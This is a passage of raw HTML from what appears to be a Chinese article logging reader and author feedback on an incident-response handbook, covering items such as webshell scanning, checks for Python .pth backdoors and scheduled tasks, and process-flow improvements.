10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">kill -9 -pgid 加了 sudo 会失效</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-24 18:24</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">55. 增加shellpub webshell查杀工具</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0055</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-12-24 18:40</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">建议添加 shellhub 查杀工具</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已忽略</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-24 18:27</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">之前已存在</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">56. 每种应急场景添加流程图</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0056</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 00:01</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">每种应急场景添加流程图</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 00:26</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">57. 完善计划任务排查中 at 和 batch 的排查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0057</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-26 10:20</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完善计划任务排查中 at 和 batch 的排查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 00:46</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">58. 添加挂载点隐藏进程排查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0058</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">megaparsec</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-12-30 10:01</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加挂载点隐藏进程排查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已忽略</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 00:59</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">之前就有，在常见问题的解决办法 -&gt; 0x02 章节</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">59. 添加Python .pth 文件后门排查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0059</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">megaparsec</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-01-15 10:39</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加Python .pth 文件后门排查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 01:35</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">60. 完善 profile 配置检查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0060</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-19 18:30</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完善 profile 配置检查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 13:53</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">61. 完善处置流程，添加确认攻击信息准确性</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0061</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-19 18:30</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完善处置流程，添加确认攻击信息准确性</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 15:06</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">62. 完善处置流程，添加询问过往被攻击情况</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0061</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-12-25 17:05</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完善处置流程，添加询问过往被攻击情况</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 15:07</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">1. Windows 平台打开手册部分程序无法显示目录</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0001</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">AvenMay</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-10 16:36</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">公众号文章留言</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">Edge 等浏览器显示空白</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: 